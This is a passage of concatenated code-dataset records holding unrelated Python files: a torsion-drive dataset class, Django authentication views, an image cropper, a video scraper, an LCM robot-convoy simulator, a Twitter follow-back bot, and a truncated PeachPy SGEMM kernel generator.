cacheitem_info_prefix + cachename\n conn.hset(cii_name, \"cachename\", cachename)\n conn.hmset(cii_name, {\"datafields\": cachefields, 'cachetype': cachetye,\n 'indexfield': indexfield})\n return cii_name\n\n def GetPK(cachename):\n cii_name = cacheitem_info_prefix + cachename\n indexkey = conn.hget(cii_name, \"indexfield\")\n\n return indexkey","sub_path":"ReferCodes/tornado/CCL/Data_2D/CacheInfoService.py","file_name":"CacheInfoService.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"585614012","text":"import os\nimport requests\nimport cv2\nimport base64\nimport json\nfrom trainTools import *\n\n# 将900*900的图片裁剪为9块(image:要裁剪的图片;filePath:裁剪的图片保存路径)\ndef cutImage(image,filePath):\n for y in range(3):\n for x in range(3):\n cropImage = image[y*300:(y+1)*300,x*300:(x+1)*300]\n grayImage = cv2.cvtColor(cropImage,cv2.COLOR_BGR2GRAY)\n cv2.imwrite(filePath+'/'+str(y*3+x+1)+'.jpg',grayImage,[cv2.IMWRITE_JPEG_QUALITY,100])\n# 将给定路径下的文件夹的900*900图片裁剪为9块\ndef cutSourceImage(filePath):\n imagenames = os.listdir(filePath)\n for imagename in imagenames:\n if os.path.isdir(filePath+'/'+imagename):\n continue\n dirname = imagename.replace('.jpg','')\n image = cv2.imread(filePath+'/'+imagename)\n if not os.path.exists(filePath+'/'+dirname):\n os.mkdir(filePath+'/'+dirname)\n cutImage(image,filePath+'/'+dirname)\n os.remove(filePath+'/'+imagename)\n\ndef isWhiteImage(image):\n ls = np.bincount(image.ravel(),minlength=256)\n if(ls[255] > 210000):\n return True\n else:\n return False\nif __name__ == '__main__':\n print('ctools.py')\n img1 = cv2.imread('./source/F_/6.jpg')\n img2 = cv2.imread('./source/F_/9.jpg')\n if(img1.any()==img2.any()):\n print('yes')\n print(np.bincount(img1.ravel(),minlength=256))\n print(np.bincount(img2.ravel(),minlength=256))","sub_path":"imgTools.py","file_name":"imgTools.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"579592317","text":"\"\"\"\nQCPortal Database ODM\n\"\"\"\nfrom typing import Any, Dict, List, Optional, Set, Tuple, Union\n\nimport pandas as pd\nimport numpy as np\n\nfrom pydantic import BaseModel\nfrom qcelemental import constants\n\nfrom .collection_utils import register_collection\nfrom .collection import Collection\nfrom ..models import ObjectId, Molecule, OptimizationSpecification, QCSpecification, TorsionDriveInput\nfrom ..models.torsiondrive import TDKeywords\nfrom ..visualization import scatter_plot\n\n\nclass TDRecord(BaseModel):\n \"\"\"Data model for the `reactions` list in Dataset\"\"\"\n name: str\n initial_molecules: List[ObjectId]\n td_keywords: TDKeywords\n attributes: Dict[str, Union[int, float, str]] # Might be overloaded key types\n torsiondrives: Dict[str, ObjectId] = {}\n\n\nclass TorsionDriveSpecification(BaseModel):\n name: str\n description: Optional[str]\n optimization_spec: OptimizationSpecification\n qc_spec: QCSpecification\n\n\nclass TorsionDriveDataset(Collection):\n def __init__(self, name: str, client: 'FractalClient'=None, **kwargs):\n if client is None:\n raise KeyError(\"TorsionDriveDataset must have a client.\")\n\n super().__init__(name, client=client, **kwargs)\n\n self.df = pd.DataFrame(index=self._get_index())\n\n class DataModel(Collection.DataModel):\n\n records: Dict[str, TDRecord] = {}\n history: Set[str] = set()\n td_specs: Dict[str, TorsionDriveSpecification] = {}\n\n def _pre_save_prep(self, client: 'FractalClient') -> None:\n pass\n\n def _get_index(self):\n\n return [x.name for x in self.data.records.values()]\n\n def add_specification(self,\n name: str,\n optimization_spec: OptimizationSpecification,\n qc_spec: QCSpecification,\n description: str=None,\n overwrite=False) -> None:\n \"\"\"\n Parameters\n ----------\n name : str\n The name of the specification\n optimization_spec : OptimizationSpecification\n A full optimization specification for TorsionDrive\n qc_spec : QCSpecification\n A full quantum chemistry specification for TorsionDrive\n description : str, optional\n A short text description of the specification\n overwrite : bool, optional\n Overwrite existing specification names\n\n \"\"\"\n\n lname = name.lower()\n if (lname in self.data.td_specs) and (not overwrite):\n raise KeyError(f\"TorsionDriveSpecification '{name}' already present, use `overwrite=True` to replace.\")\n\n spec = TorsionDriveSpecification(\n name=lname, optimization_spec=optimization_spec, qc_spec=qc_spec, description=description)\n self.data.td_specs[lname] = spec\n self.save()\n\n def get_specification(self, name: str) -> TorsionDriveSpecification:\n \"\"\"\n Parameters\n ----------\n name : str\n The name of the specification\n\n Returns\n -------\n TorsionDriveSpecification\n The requested specification.\n\n \"\"\"\n try:\n return self.data.td_specs[name.lower()].copy()\n except KeyError:\n raise KeyError(f\"TorsionDriveSpecification '{name}' not found.\")\n\n def list_specifications(self, description=True) -> Union[List[str], 'DataFrame']:\n \"\"\"Lists all available specifications\n\n Parameters\n ----------\n description : bool, optional\n If True returns a DataFrame with\n Description\n\n Returns\n -------\n Union[List[str], 'DataFrame']\n A list of known specification names.\n\n \"\"\"\n if description:\n data = [(x.name, x.description) for x in self.data.td_specs.values()]\n return pd.DataFrame(data, columns=[\"Name\", \"Description\"]).set_index(\"Name\")\n else:\n return [x.name for x in self.data.td_specs.values()]\n\n def add_entry(self,\n name: str,\n initial_molecules: List[Molecule],\n dihedrals: List[Tuple[int, int, int, int]],\n grid_spacing: List[int],\n attributes: Dict[str, Any]=None):\n \"\"\"\n Parameters\n ----------\n name : str\n The name of the entry, will be used for the index\n initial_molecules : List[Molecule]\n The list of starting Molecules for the TorsionDrive\n dihedrals : List[Tuple[int, int, int, int]]\n A list of dihedrals to scan over\n grid_spacing : List[int]\n The grid spacing for each dihedrals\n attributes : Dict[str, Any], optional\n Additional attributes and descriptions for the record\n \"\"\"\n\n # Build new objects\n molecule_ids = self.client.add_molecules(initial_molecules)\n td_keywords = TDKeywords(dihedrals=dihedrals, grid_spacing=grid_spacing)\n\n record = TDRecord(name=name, initial_molecules=molecule_ids, td_keywords=td_keywords, attributes=attributes)\n\n lname = name.lower()\n if lname in self.data.records:\n raise KeyError(f\"Record {name} already in the dataset.\")\n\n self.data.records[lname] = record\n self.save()\n\n def get_entry(self, name: str) -> TDRecord:\n \"\"\"Obtains a record from the Dataset\n\n Parameters\n ----------\n name : str\n The record name to pull from.\n\n Returns\n -------\n TDRecord\n The requested record\n \"\"\"\n return self.data.records[name.lower()]\n\n def compute(self, specification: str, subset: Set[str]=None, tag: Optional[str]=None,\n priority: Optional[str]=None) -> int:\n \"\"\"Computes a specification for all records in the dataset.\n\n Parameters\n ----------\n specification : str\n The specification name.\n subset : Set[str], optional\n Computes only a subset of the dataset.\n tag : Optional[str], optional\n The queue tag to use when submitting compute requests.\n priority : Optional[str], optional\n The priority of the jobs low, medium, or high.\n\n Returns\n -------\n int\n The number of submitted torsiondrives\n \"\"\"\n specification = specification.lower()\n spec = self.get_specification(specification)\n if subset:\n subset = set(subset)\n\n submitted = 0\n for rec in self.data.records.values():\n if specification in rec.torsiondrives:\n continue\n\n if (subset is not None) and (rec.name not in subset):\n continue\n\n service = TorsionDriveInput(\n initial_molecule=rec.initial_molecules,\n keywords=rec.td_keywords,\n optimization_spec=spec.optimization_spec,\n qc_spec=spec.qc_spec)\n\n rec.torsiondrives[specification] = self.client.add_service([service], tag=tag, priority=priority).ids[0]\n submitted += 1\n\n self.data.history.add(specification)\n self.save()\n return submitted\n\n def query(self, specification: str, force: bool=False) -> None:\n \"\"\"Queries a given specification from the server\n\n Parameters\n ----------\n specification : str\n The specification name to query\n force : bool, optional\n Force a fresh query if the specification already exists.\n \"\"\"\n # Try to get the specification, will throw if not found.\n spec = self.get_specification(specification)\n\n if not force and (spec.name in self.df):\n return spec.name\n\n query_ids = []\n mapper = {}\n for rec in self.data.records.values():\n try:\n td_id = rec.torsiondrives[spec.name]\n query_ids.append(td_id)\n mapper[td_id] = rec.name\n except KeyError:\n pass\n\n torsiondrives = self.client.query_procedures(id=query_ids)\n\n data = []\n for td in torsiondrives:\n data.append([mapper[td.id], td])\n\n df = pd.DataFrame(data, columns=[\"index\", spec.name])\n df.set_index(\"index\", inplace=True)\n\n self.df[spec.name] = df[spec.name]\n\n return spec.name\n\n def status(self, specs: Union[str, List[str]]=None, collapse: bool=True, status: Optional[str]=None) -> 'DataFrame':\n \"\"\"Returns the status of all current specifications.\n\n Parameters\n ----------\n collapse : bool, optional\n Collapse the status into summaries per specification or not.\n status : Optional[str], optional\n If not None, only returns results that match the provided status.\n\n Returns\n -------\n DataFrame\n A DataFrame of all known statuses\n\n \"\"\"\n\n # Specifications\n if isinstance(specs, str):\n specs = [specs]\n\n # Query all of the specs and make sure they are valid\n if specs is None:\n list_specs = list(self.df.columns)\n else:\n list_specs = []\n for spec in specs:\n list_specs.append(self.query(spec))\n\n # apply status by column then by row\n df = self.df[list_specs].apply(lambda col: col.apply(lambda entry: entry.status.value))\n if status:\n df = df[(df == status.upper()).all(axis=1)]\n\n if collapse:\n return df.apply(lambda x: x.value_counts())\n else:\n return df\n\n def counts(self,\n entries: Union[str, List[str]],\n specs: Optional[Union[str, List[str]]]=None,\n count_gradients=False) -> 'DataFrame':\n \"\"\"Counts the number of optimization or gradient evaluations associated with the\n TorsionDrives.\n\n Parameters\n ----------\n entries : Union[str, List[str]]\n The entries to query for\n specs : Optional[Union[str, List[str]]], optional\n The specifications to query for\n count_gradients : bool, optional\n If True, counts the total number of gradient calls. Warning! This can be slow for large datasets.\n\n Returns\n -------\n DataFrame\n The queried counts.\n \"\"\"\n\n # Specifications\n if isinstance(specs, str):\n specs = [specs]\n\n if isinstance(entries, str):\n entries = [entries]\n\n # Query all of the specs and make sure they are valid\n if specs is None:\n specs = list(self.df.columns)\n else:\n for spec in specs:\n self.query(spec)\n\n # Count functions\n def count_gradient_evals(td):\n if td.status != \"COMPLETE\":\n return None\n\n total_grads = 0\n for key, optimizations in td.get_history().items():\n for opt in optimizations:\n total_grads += len(opt.trajectory)\n return total_grads\n\n def count_optimizations(td):\n if td.status != \"COMPLETE\":\n return None\n return sum(len(v) for v in td.optimization_history.values())\n\n # Loop over the data and apply the count function\n ret = []\n for col in specs:\n data = self.df[col]\n if entries:\n data = data[entries]\n\n if count_gradients:\n cnts = data.apply(lambda td: count_gradient_evals(td))\n else:\n cnts = data.apply(lambda td: count_optimizations(td))\n ret.append(cnts)\n\n ret = pd.DataFrame(ret).transpose()\n ret.dropna(inplace=True, how=\"all\")\n # ret = pd.DataFrame([ret[x].astype(int) for x in ret.columns]).transpose()\n return ret\n\n def visualize(self,\n entries: Union[str, List[str]],\n specs: Union[str, List[str]],\n relative: bool=True,\n units: str=\"kcal / mol\",\n digits: int=3,\n use_measured_angle: bool=False,\n return_figure: Optional[bool]=None) -> 'plotly.Figure':\n \"\"\"\n Parameters\n ----------\n entries : Union[str, List[str]]\n A single or list of indices to plot.\n specs : Union[str, List[str]]\n A single or list of specifications to plot.\n relative : bool, optional\n Shows relative energy, lowest energy per scan is zero.\n units : str, optional\n The units of the plot.\n digits : int, optional\n Rounds the energies to n decimal places for display.\n use_measured_angle : bool, optional\n If True, the measured final angle instead of the constrained optimization angle.\n Can provide more accurate results if the optimization was ill-behaved,\n but pulls additional data from the server and may take longer.\n return_figure : Optional[bool], optional\n If True, return the raw plotly figure. If False, returns a hosted iPlot. If None, return a iPlot display in Jupyter notebook and a raw plotly figure in all other circumstances.\n\n Returns\n -------\n plotly.Figure\n The requested figure.\n\n Raises\n ------\n TypeError\n Description\n \"\"\"\n\n show_spec = True\n if isinstance(specs, str):\n specs = [specs]\n show_spec = False\n\n if isinstance(entries, str):\n entries = [entries]\n\n # Query all of the specs and make sure they are valid\n for spec in specs:\n self.query(spec)\n\n traces = []\n\n xmin = 1e12\n xmax = -1e12\n # Loop over specifications\n for spec in specs:\n # Loop over indices (groups colors by entry)\n for index in entries:\n\n record = self.get_entry(index)\n\n td = self.df.loc[index, spec]\n min_energy = 1e12\n\n # Pull the dict apart\n x = []\n y = []\n for k, v in td.get_final_energies().items():\n if len(k) >= 2:\n raise TypeError(\"Dataset.visualize is currently only available for 1-D scans.\")\n\n if use_measured_angle:\n # Recalculate the dihedral angle\n dihedral_indices = record.td_keywords.dihedrals[0]\n mol = td.get_final_molecules(k)\n x.append(mol.measure(dihedral_indices))\n\n else:\n x.append(k[0])\n\n y.append(v)\n\n # Update minmum energy\n if v < min_energy:\n min_energy = v\n\n trace = {\"mode\": \"lines+markers\"}\n if show_spec:\n trace[\"name\"] = f\"{index}-{spec}\"\n else:\n trace[\"name\"] = f\"{index}\"\n\n x = np.array(x)\n y = np.array(y)\n\n # Sort by angle\n sorter = np.argsort(x)\n x = x[sorter]\n y = y[sorter]\n if relative:\n y -= min_energy\n\n # Find the x dimension\n if x.max() > xmax:\n xmax = x.max()\n if x.min() < xmin:\n xmin = x.min()\n\n cf = constants.conversion_factor(\"hartree\", units)\n trace[\"x\"] = x\n trace[\"y\"] = np.around(y * cf, digits)\n\n traces.append(trace)\n\n title = \"TorsionDriveDataset 1-D Plot\"\n if show_spec is False:\n title += f\" [spec={specs[0]}]\"\n\n if relative:\n ylabel = f\"Relative Energy [{units}]\"\n else:\n ylabel = f\"Absolute Energy [{units}]\"\n\n custom_layout = {\n \"title\": title,\n \"yaxis\": {\n \"title\": ylabel,\n \"zeroline\": True\n },\n \"xaxis\": {\n \"title\": \"Dihedral Angle [degrees]\",\n \"zeroline\": False,\n \"range\": [xmin - 10, xmax + 10]\n }\n }\n\n return scatter_plot(traces, custom_layout=custom_layout, return_figure=return_figure)\n\n\nregister_collection(TorsionDriveDataset)\n","sub_path":"qcportal/collections/torsiondrive_dataset.py","file_name":"torsiondrive_dataset.py","file_ext":"py","file_size_in_byte":16506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"4750097","text":"from setuptools import setup\nfrom setuptools.command.test import test as TestCommand\n\n\nclass PyTest(TestCommand):\n user_options = [('pytest-args=', 'a', \"Arguments to pass to py.test\")]\n\n def initialize_options(self):\n TestCommand.initialize_options(self)\n self.pytest_args = ['tests/']\n\n def finalize_options(self):\n TestCommand.finalize_options(self)\n self.test_args = []\n self.test_suite = True\n\n def run_tests(self):\n import sys, pytest\n errcode = pytest.main(self.pytest_args)\n sys.exit(errcode)\n\n\nwith open('README.md') as f:\n readme = f.read()\n\n\nwith open('LICENSE') as f:\n license = f.read()\n\n\nsetup(\n name='converttool',\n version='0.0.1',\n description='A tool to convert CSV into other formats',\n long_description='Convert CSV files to JSON, XML and other formats. Easy to add your own formats. Dynamic data validation',\n author='Anubhav Yadav',\n author_email='anubhav1691@gmail.com',\n url='www.example.com',\n license=license,\n packages=['converttool'],\n install_requires=[\n 'dicttoxml==1.7.4',\n 'click==6.6',\n 'unicodecsv==0.14.1',\n ],\n tests_require='pytest==3.0.2',\n entry_points={\n 'console_scripts':[\n 'converttool = converttool.app:main',\n ]\n },\n cmdclass={'test': PyTest},\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"127690002","text":"import re\r\nimport requests\r\nimport hashlib\r\nimport time\r\n\r\n\r\ndef get_index(url):\r\n respose = requests.get(url)\r\n if respose.status_code==200:\r\n return respose.text\r\n\r\ndef parse_index(res):\r\n urls = re.findall(r'class=\"items\".*?href=\"(.*?)\"', res,re.S) # re.S 把文本信息转换成1行匹配\r\n return urls\r\n\r\n# 循环html地址,并进一步分离MP4_url 地址\r\ndef get_detail(urls):\r\n for url in urls:\r\n if not url.startswith('http'):\r\n url='http://www.xiaohuar.com%s' %url\r\n result = requests.get(url)\r\n if result.status_code==200 :\r\n mp4_url_list = re.findall(r'id=\"media\".*?src=\"(.*?)\"', result.text, re.S)\r\n if mp4_url_list:\r\n mp4_url=mp4_url_list[0]\r\n print(mp4_url) # 打印地址\r\n # save(mp4_url) # 下载地址\r\n\r\n# 下载\r\ndef save(url):\r\n video = requests.get(url)\r\n if video.status_code==200:\r\n m=hashlib.md5()\r\n m.update(url.encode('utf-8'))\r\n m.update(str(time.time()).encode('utf-8'))\r\n filename=r'%s.mp4'% m.hexdigest()\r\n filepath=r'D:\\\\%s'%filename\r\n with open(filepath, 'wb') as f:\r\n f.write(video.content)\r\n\r\n# 主方法调用,随机循环生成url调用\r\ndef main():\r\n for i in range(5):\r\n res1 = get_index('http://www.xiaohuar.com/list-3-%s.html'% i )\r\n res2 = parse_index(res1)\r\n get_detail(res2)\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"python-utils/reptile/demo_method.py","file_name":"demo_method.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"461152085","text":"import lcm\nimport time\nimport sys\nimport threading\nfrom exlcm import extmsg_t, detectmsg_t\n\nprint(\"\")\nprint(\"###########################################\")\nprint(\"This is a simulation of a robot controller.\")\nprint(\"Its purpose is to represent a robot running\")\nprint(\"in a convoy\")\nprint(\"###########################################\")\nprint(\"\")\n\nmode = '2'\nid = -1\noldtime = 0\nnewtime = 0\n\nif(len(sys.argv) > 2):\n\tprint(\"too many input arguments\")\n\tquit()\nelif(len(sys.argv) == 2):\n\tid = int(sys.argv[1])\nelse:\n\tid = int(input(\"Enter id: \"))\n\ndef ext_handler(channel, data):\n\tglobal oldtime, newtime\n\tmsg = extmsg_t.decode(data)\n\tif(int(msg.id) != id-1):\n\t\treturn\n\tprint(\"\")\n\tprint(\"Received message on channel \\\"%s\\\"\" % channel)\n\tprint(\" timestamp = %s\" % str(msg.timestamp))\n\tprint(\" id = %s\" % str(msg.id))\n\tprint(\" type = %s\" % str(msg.type))\n\tprint(\" mode = %s\" % str(msg.mode))\n\tprint(\" time diff: %s\" % str(time.time()-msg.timestamp))\n\tprint(\"\")\n\tif(msg.type == 'alert'):\n\t\tprint('break, broadcast to convoy')\n\t\tmsg.id = id\n\t\tmsg.timestamp = int(time.time())\n\t\tmsg.mode = int(mode)\n\t\tlc.publish(\"EXAMPLE_ext\", msg.encode())\n\tif(msg.type == 'heartbeat'):\n\t\tnewtime = msg.timestamp\n\t\tprint(\"newtime: %s\" %newtime)\n\t\tprint(\"oldtime: %s\" %oldtime)\n\t\tprint(\" jitter between two heartbeat signals: %s\" % str(1-(float(newtime)-float(oldtime))))\n\t\toldtime = newtime\n\ndef int_handler(channel, data):\n\tmsg = detectmsg_t.decode(data)\n\tprint(\"\")\n\tprint(\"Received message on channel \\\"%s\\\"\" % channel)\n\tprint(\" timestamp = %s\" % str(msg.timestamp))\n\tprint(\" type = %s\" % str(msg.type))\n\tprint(\" time diff: %s\" % str(time.time()-msg.timestamp))\n\tprint(\"\")\n\tif(mode == '0'):\n\t\tprint(\"break\")\n\t\tlc.publish(\"EXAMPLE_break\", msg.encode())\n\telif(mode == '1'):\n\t\tprint(\"break, broadcast to convoy\")\n\t\tlc.publish(\"EXAMPLE_break\", msg.encode())\n\t\tmsg = extmsg_t()\n\t\tmsg.id = id\n\t\tmsg.timestamp = int(time.time())\n\t\tmsg.mode = int(mode)\n\t\tmsg.type = 'alert'\n\t\tlc.publish(\"EXAMPLE_ext\", msg.encode())\n\ndef send_heartbeat():\n\tmsg = extmsg_t()\n\tmsg.timestamp = int(time.time())\n\tmsg.type = \"heartbeat\"\n\tmsg.id = id\n\tmsg.mode = int(mode)\n\tlc.publish(\"EXAMPLE_ext\", msg.encode())\n\tthreading.Timer(1, send_heartbeat).start()\n\noldtime = time.time()\nlc = lcm.LCM()\nsend_heartbeat()\n\nprint(\"Starting in follow convoy mode\")\next_subscription = lc.subscribe(\"EXAMPLE_ext\", ext_handler)\n\ntry:\n while True:\n lc.handle()\nexcept KeyboardInterrupt:\n pass\n\nlc.unsubscribe(ext_subscription)\nlc.unsubscribe(int_subscription)\n\n","sub_path":"lab4/lcm-testing/lcm/controller-sim.py","file_name":"controller-sim.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"389059047","text":"import json\nimport bcrypt\nimport jwt\nimport datetime\n\nfrom django.views import View\nfrom django.http import JsonResponse\nfrom django.db.utils import DataError, IntegrityError\nfrom django.db.models import Avg\nfrom django.db.models.query import Prefetch\n\nfrom json.decoder import JSONDecodeError\n\nimport my_settings\nfrom users.models import User\nfrom restaurants.models import Food, Image\nfrom users.utils import ConfirmUser\n\nclass SignInView(View):\n def post(self,request):\n try:\n data = json.loads(request.body)\n user = User.objects.get(email=data[\"email\"])\n \n if not bcrypt.checkpw(data[\"password\"].encode(), user.password.encode()):\n return JsonResponse({\"message\":\"VALIDATION_ERROR\"}, status=400) \n\n exp = datetime.datetime.now() + datetime.timedelta(hours=24)\n access_token = jwt.encode(\n payload = {\"id\" : user.id, \"exp\" : exp},\n key = my_settings.SECRET_KEY,\n algorithm = my_settings.ALGORITHM\n )\n\n return JsonResponse({\"message\":\"SUCCESS\", \"access_token\":access_token}, status=200)\n\n except KeyError:\n return JsonResponse({\"message\":\"KEY_ERROR\"}, status=400) \n \n except User.DoesNotExist:\n return JsonResponse({\"message\":\"USER_NOT_EXIST\"}, status=404) \n\n except DataError:\n return JsonResponse({\"message\": \"DATA_ERROR\"}, status=400) \n\nclass SignupView(View):\n def post(self, request):\n try:\n data = json.loads(request.body)\n \n if not User.validate(data):\n return JsonResponse({\"message\":\"VALIDATION_ERROR\"}, status=401) \n\n bcrypt_password = bcrypt.hashpw(data[\"password\"].encode(\"utf-8\"), bcrypt.gensalt()).decode()\n\n User.objects.create(\n nickname = data[\"nickname\"],\n email = data[\"email\"],\n password = bcrypt_password,\n phone_number = data[\"phone_number\"],\n )\n\n return JsonResponse({\"message\":\"SUCCESS\"}, status=201)\n\n except JSONDecodeError:\n return JsonResponse({\"message\":\"JSON_DECODE_ERROR\"}, status=400) \n \n except KeyError:\n return JsonResponse({\"message\":\"KEY_ERROR\"}, status=400) \n \n except DataError:\n return JsonResponse({\"message\": \"DATA_ERROR\"}, status=400)\n\n except IntegrityError:\n return JsonResponse({\"message\": \"INTEGRITY_ERROR\"}, status=400)\n\n\nclass UserDetailView(View):\n @ConfirmUser\n def get(self, request):\n restaurants = request.user.wishlist_restaurants.select_related(\"sub_category\").prefetch_related(\n Prefetch(\n lookup=\"foods\",\n queryset=Food.objects.prefetch_related(\n Prefetch(\n lookup=\"images\",\n queryset=Image.objects.all(),\n to_attr=\"all_images\"\n )),\n to_attr=\"all_foods\"\n )\n ).annotate(average_rating=Avg(\"reviews__rating\"))\n result = {\n \"nickname\" : request.user.nickname,\n \"email\" : request.user.email,\n \"profileUrl\" : request.user.profile_url,\n \"wishList\" : [{\n \"id\" : restaurant.id,\n \"name\" : restaurant.name,\n \"address\" : restaurant.address,\n \"subCategory\" : restaurant.sub_category.name,\n \"averageRating\" : restaurant.average_rating,\n \"foodImage\" : restaurant.all_foods[0].all_images[0].image_url\n } for restaurant in restaurants],\n }\n \n return JsonResponse({\"message\":\"SUCCESS\",\"result\":result}, status=200)","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"143193020","text":"#!/usr/bin/env python\n\nimport os, tweepy\nfrom secrets import *\nfrom time import gmtime, strftime\n\nlogfile_name = \"fli_birdz_bot.log\"\n\n# Authenticate connection to twitter account\nauth = tweepy.OAuthHandler(C_KEY, C_SECRET)\nauth.set_access_token(A_TOKEN, A_TOKEN_SECRET)\napi = tweepy.API(auth)\n\n# Follow back followers\ndef follow():\n followed = ''\n for follower in tweepy.Cursor(api.followers).items():\n follower.follow()\n followed += (follower.screen_name + ' ')\n log('Followed: ' + followed)\n\n# Write to the log what occurred when trying to authenticate / send the tweet\ndef log(message):\n path = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))\n with open(os.path.join(path, logfile_name), 'a+') as f:\n t = strftime('%d %b %Y %H:%M:%S', gmtime())\n f.write(\"\\n\" + t + \" \" + str(message))\n\ndef main():\n follow()\n\nmain()\n","sub_path":"src/follow_back.py","file_name":"follow_back.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"210404007","text":"from common import interleave\n\n\ndef sgemm_loop(ymm_c, reg_a, reg_b, reg_k, step_k, loop):\n\tassert isinstance(reg_k, GeneralPurposeRegister64)\n\tassert isinstance(step_k, int) and step_k >= 1\n\tassert isinstance(loop, Loop)\n\n\tassert isinstance(ymm_c, list)\n\tmr = len(ymm_c)\n\tassert isinstance(ymm_c[0], list)\n\tnr = len(ymm_c[0])\n\tassert all(isinstance(ymm_c_m, list) and len(ymm_c_m) == nr for ymm_c_m in ymm_c)\n\n\tstep_a, step_b = mr * step_k * YMMRegister.size, nr * step_k * YMMRegister.size\n\tdisp_shift_a = 0 if step_a <= 128 else -128\n\tdisp_shift_b = 0 if step_b <= 128 else -128\n\n\tymm_a = [YMMRegister() for m in range(mr)]\n\tymm_b_n = YMMRegister()\n\n\tif step_k > 1:\n\t\tif disp_shift_a != 0:\n\t\t\tSUB(reg_a, disp_shift_a)\n\t\tif disp_shift_b != 0:\n\t\t\tSUB(reg_b, disp_shift_b)\n\t\tSUB(reg_k, step_k)\n\t\tJB(loop.end)\n\n\twith loop:\n\t\tfor k in range(step_k):\n\t\t\tfor m, ymm_a_m in enumerate(ymm_a):\n\t\t\t\tVMOVAPS(ymm_a_m, [reg_a + (m + mr*k) * YMMRegister.size + disp_shift_a])\n\n\t\t\tfor n in range(nr):\n\t\t\t\t# offset_a = (m + mr*k) * YMMRegister.size + disp_shift_a\n\t\t\t\t# if offset_a % 64 == 0 and False:\n\t\t\t\t# \tPREFETCHNTA([reg_a + 640 + offset_a])\n\n\t\t\t\tVMOVAPS(ymm_b_n, [reg_b + (n + nr*k) * YMMRegister.size + disp_shift_b])\n\n\t\t\t\tfor m in range(mr):\n\t\t\t\t\tVFMADD231PS(ymm_c[m][n], ymm_a[m], ymm_b_n)\n\n\t\tSUB(reg_a, -step_a)\n\t\tSUB(reg_b, -step_b)\n\t\tif step_k > 1:\n\t\t\tSUB(reg_k, step_k)\n\t\t\tJAE(loop.begin)\n\t\telse:\n\t\t\tDEC(reg_k)\n\t\t\tJNE(loop.begin)\n\n\tif step_k > 1:\n\t\tif disp_shift_a:\n\t\t\tADD(reg_a, disp_shift_a)\n\t\tif disp_shift_b:\n\t\t\tADD(reg_b, disp_shift_b)\n\t\tADD(reg_k, step_k)\n\n\nfor mr in [1, 2, 3]:\n\tfor nr in [1, 2, 3, 4]:\n\t\targ_k = Argument(size_t, \"k\")\n\t\targ_k_tile = Argument(size_t, \"k_tile\")\n\t\targ_a = Argument(ptr(const_float_), \"a\")\n\t\targ_b = Argument(ptr(const_float_), \"b\")\n\t\targ_c = Argument(ptr(float_), \"c\")\n\t\targ_row_stride = Argument(size_t, \"row_stride_c\")\n\t\targ_col_stride = Argument(size_t, \"column_stride_c\")\n\t\targuments = (arg_k, arg_k_tile, arg_a, arg_b, arg_c, arg_row_stride, arg_col_stride)\n\t\twith Function(\"nnp_s8gemm%dx%d__fma3\" % (mr, nr),\n\t\t\t(arg_k, arg_k_tile, arg_a, arg_b, arg_c, arg_row_stride, arg_col_stride),\n\t\t\ttarget=uarch.default + isa.fma3):\n\n\t\t\treg_k = GeneralPurposeRegister64()\n\t\t\tLOAD.ARGUMENT(reg_k, arg_k)\n\n\t\t\treg_k_tile = GeneralPurposeRegister64()\n\t\t\tLOAD.ARGUMENT(reg_k_tile, arg_k_tile)\n\n\t\t\treg_a = GeneralPurposeRegister64()\n\t\t\tLOAD.ARGUMENT(reg_a, arg_a)\n\n\t\t\treg_b = GeneralPurposeRegister64()\n\t\t\tLOAD.ARGUMENT(reg_b, arg_b)\n\n\t\t\treg_c = GeneralPurposeRegister64()\n\t\t\tLOAD.ARGUMENT(reg_c, arg_c)\n\n\t\t\tif mr > 1:\n\t\t\t\treg_row_stride = GeneralPurposeRegister64()\n\t\t\t\tLOAD.ARGUMENT(reg_row_stride, arg_row_stride)\n\t\t\t\tSHL(reg_row_stride, 2)\n\n\t\t\tif nr > 1:\n\t\t\t\treg_col_stride = GeneralPurposeRegister64()\n\t\t\t\tLOAD.ARGUMENT(reg_col_stride, arg_col_stride)\n\t\t\t\tSHL(reg_col_stride, 2)\n\n\t\t\tymm_c = [[YMMRegister() for n in range(nr)] for m in range(mr)]\n\t\t\tVZEROALL()\n\n\t\t\tprocess_by_2 = Loop()\n\t\t\tprocess_by_1 = Loop()\n\n\t\t\tif mr > 1 and nr > 1:\n\t\t\t\tsgemm_loop(ymm_c, reg_a, reg_b, reg_k, 2, process_by_2)\n\t\t\t\tJZ(process_by_1.end)\n\t\t\tsgemm_loop(ymm_c, reg_a, reg_b, reg_k, 1, process_by_1)\n\n\t\t\tload_and_store_c = Block()\n\t\t\tstore_c = Block()\n\n\t\t\tTEST(reg_k_tile, reg_k_tile)\n\t\t\tJZ(store_c.begin)\n\n\t\t\twith load_and_store_c:\n\t\t\t\treg_c_m0, reg_c_mn = GeneralPurposeRegister64(), GeneralPurposeRegister64()\n\t\t\t\tfor m in range(mr):\n\t\t\t\t\tif m == 0:\n\t\t\t\t\t\treg_c_m0 = reg_c\n\t\t\t\t\telse:\n\t\t\t\t\t\tADD(reg_c_m0, reg_row_stride)\n\t\t\t\t\tfor n in range(nr):\n\t\t\t\t\t\tif n == 0:\n\t\t\t\t\t\t\tif m + 1 == mr:\n\t\t\t\t\t\t\t\treg_c_mn = 